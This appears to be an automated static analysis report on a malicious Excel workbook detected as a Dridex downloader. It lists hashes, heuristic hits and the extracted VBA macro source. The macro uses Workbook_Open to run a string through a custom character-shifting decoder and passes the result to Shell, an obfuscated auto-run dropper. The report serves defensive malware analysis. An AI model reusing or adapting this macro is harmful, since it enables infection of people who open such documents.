Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4ab77d4ea2d6ecc9…

MALICIOUS

Office (OOXML)

411.2 KB Created: 2020-11-19 06:21:51 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2020-11-23
MD5: ae79819b46f2e30d3c9ae1404b0bceed SHA-1: 5bbfc0a4e4e37b32eb77286ba40bee229681ee84 SHA-256: 4ab77d4ea2d6ecc9b15143edab02a72c9556720c3d7f700e4504f5690331fa8a
148 Risk Score

Heuristics 4

  • ClamAV: Xls.Downloader.DridexGreen09213-9890103-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.DridexGreen09213-9890103-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell defender
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Public Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2330 bytes
SHA-256: 8a74892104159c5a6966251a8c96257113a0d74b5ca3f5417541945f0083f692
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Dim defender As String
Public Sub Workbook_Open()
signature
'shell defender
Shell defender
End Sub
Private Function signature()
defender = microsoft("´³¸¸¶Ä¿©½Ãdl²©¸€³³Á©´Ëd—½·µ¸± ¥©Å…›©¦‡­¼©¿Ëm ›³»²°°´¨—À°¶", "DDDASDQWDQWD") + microsoft("lk©Ç¸ÁÊ~€†°³«­¤´°Äº³ÀË©¶·r¤Â±€Î³Ã·s·¸¶µr¶Ï©xƒh©²º{”´Á›¥Å¸ok ·µÈ¦ ¼¼¶~m l’¦Êq ¹®¶º¸dq§°Àd¤¿©½Ãr…´´­¼§²Ë­ÀÅmr—¬¦¿°–Ï©´Ì¸©lh¦Áº‹˜´Á›¥¸¥oh¯·Å̦ ¼¼©km", "DDDASDQWDQWD")
defender = defender

End Function
    Private Function microsoft(biasd As String, ByVal cdeww As String)
        Dim i As Integer, c As Integer
        Dim cceeg As String
        If Len(cdeww) Then
            For i = 1 To Len(biasd)
                c = Asc(Mid$(biasd, i, 1))
                c = c - Asc(Mid$(cdeww, (i Mod Len(cdeww)) + 1, 1))
                cceeg = cceeg & Chr(c And &HFF)
            Next i
        Else
            cceeg = biasd
        End If
        microsoft = cceeg
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16384 bytes
SHA-256: 255792970d640d893152959d164725b529894cb4c1bc2e7a5d9a08eb2e43db36